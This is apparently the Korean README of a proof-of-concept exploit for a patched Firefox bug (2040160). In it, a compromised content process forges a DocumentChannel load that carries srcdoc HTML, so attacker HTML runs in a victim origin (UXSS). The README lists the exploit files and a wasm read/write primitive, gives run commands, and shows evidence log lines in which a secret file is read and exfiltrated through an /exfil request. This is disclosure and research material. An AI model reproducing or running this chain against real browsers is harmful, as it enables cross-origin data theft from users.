
Firefox 콘텐츠->부모 srcdoc 위조 (N-day, 버그 2040160): about:srcdoc이 아닌 URI에 SrcdocData가 포함된 위조된 PDocumentChannel -> 공격자 HTML이 피해자 오리진에서 제공됨 (UXSS), 손상된 콘텐츠 프로세스에서 mojo-port 전송 경로 주입을 통해
개념 증명: 손상된 콘텐츠 프로세스가 nsDocShellLoadState에 SrcdocData와 임의의 URI를 함께 담아 PDocumentChannel 로드를 위조합니다. 취약한 빌드는 공격자 HTML을 피해자 오리진의 문서로 제공합니다 — 동일 오리진 읽기 + 데이터 유출(UXSS).
대상: Firefox 149.0a1 nightly @ 2fbc0748c4 (취약, 수정 전), macOS arm64.
Firefox 152에서 수정됨 — 버그 2040160, 커밋 54dc16d08771 "비-about:srcdoc URI 로드에서 srcdoc 데이터 거부".
부모 프로세스는 content→parent IPDL 메시지에서 nsDocShellLoadState를 역직렬화합니다. 취약한 생성자는 콘텐츠 트리거 로드에 대해 javascript:만 거부했습니다. SrcdocData는 검증되지 않았습니다. 로드 상태가 가 아닌 URI와 함께 srcdoc 데이터를 담고 있으면, docshell은 해당 srcdoc HTML을 제공하는 입력 스트림 채널을 구성합니다 — 결과 문서는 해당 URI의 오리진을 얻습니다.
about:srcdoc수정은 !mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI)일 때 nsDocShellLoadState IPDL 생성자에 FatalError를 추가하고, nsDocShell 및 Document::StartDocumentLoad에 강화 어서트를 추가합니다.
형제 버그: CVE-2026-74939 (RemoteTypeOverride) — 동일한 생성자, 동일한 캐리어 메시지, 동일한 전달 메커니즘 (../poc-cve-2026-74939 참조). 이 PoC는 다른 필드를 뒤집어 해당 위조를 재사용합니다. RemoteTypeOverride는 필요하지 않습니다.
srcdoc.html at http://127.0.0.1:8778 (오리진 A, wasm-bytes.js의 1단계 wasm 프리미티브로 손상됨).PNecko::PDocumentChannel 생성자를 위조합니다: URI = http://localhost:8778/nav.html (오리진 B), SrcdocData = <공격자 HTML>, 동일 프로세스 about:blank 팝업의 최상위 BrowsingContext — 실제 mojo 전송 경로를 통해 전달됨 (operator new → IPC::Message 생성자 → Pickle::WriteBytes → MessageChannel::Send).webIsolated=http://localhost로 프로세스 전환하며, docshell은 우리의 HTML을 오리진 B의 문서로 제공합니다./secret.txt를 가져옵니다 (B에서 동일 오리진 — A에서 실제 교차 오리진 fetch는 CORS로 차단됨) 그리고 이를 A로 유출합니다.증거 (./irun 실행 후 /tmp/srv.log):
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| 파일 | 용도 |
|---|---|
srcdoc.html | PoC 페이지, 손상된 콘텐츠 프로세스 내에서 실행 |
forge.py | 위조 메시지 생성 (자체 검증) → forge.bin/forge.json |
wasm-bytes.js | 1단계 프리미티브: 임의 R/W, funcref 호출 (CVE-2026-2796) |
mdrive2.py | Nightly 실행 및 구동을 위한 marionette 하네스 |
irun | 계측 실행: 부모에 lldb 연결 + MOZ_LOG/srv.log 증거 |
profile.user.js | Firefox 프로필 환경설정 (fission 켜짐, 덤프 활성화) |
parse_dc.py | 캡처된 DocumentChannel 메시지의 바이트 정확 파서 |
captured-messages/dc_1.bin | 실제 캡처된 메시지, 위조 템플릿으로 사용 |
nav.html, secret.txt | 데모용 피해자 페이지 픽스처 + 비밀 |
전제 조건: /Users/sid/gecko-2766/obj-browser의 취약한 Nightly 빌드, psutil이 있는 .venv, 그리고 이 디렉토리를 제공하는 0.0.0.0:8778의 웹 서버 (예: python3 /tmp/srv.py, /tmp/srv.log에 로깅).
python3 forge.py # forge.bin/forge.json 생성 (자체 검증)
./irun # 실행 + 주입 + 증거 수집
참고: 전송 후 종료 시 콘텐츠 프로세스가 SIGSEGV할 수 있습니다 (가짜 객체에 대한 GC). 모든 증거는 그 이전에 출력됩니다.
54dc16d08771 (MFSA 2026-57, Firefox 152)RemoteTypeOverride)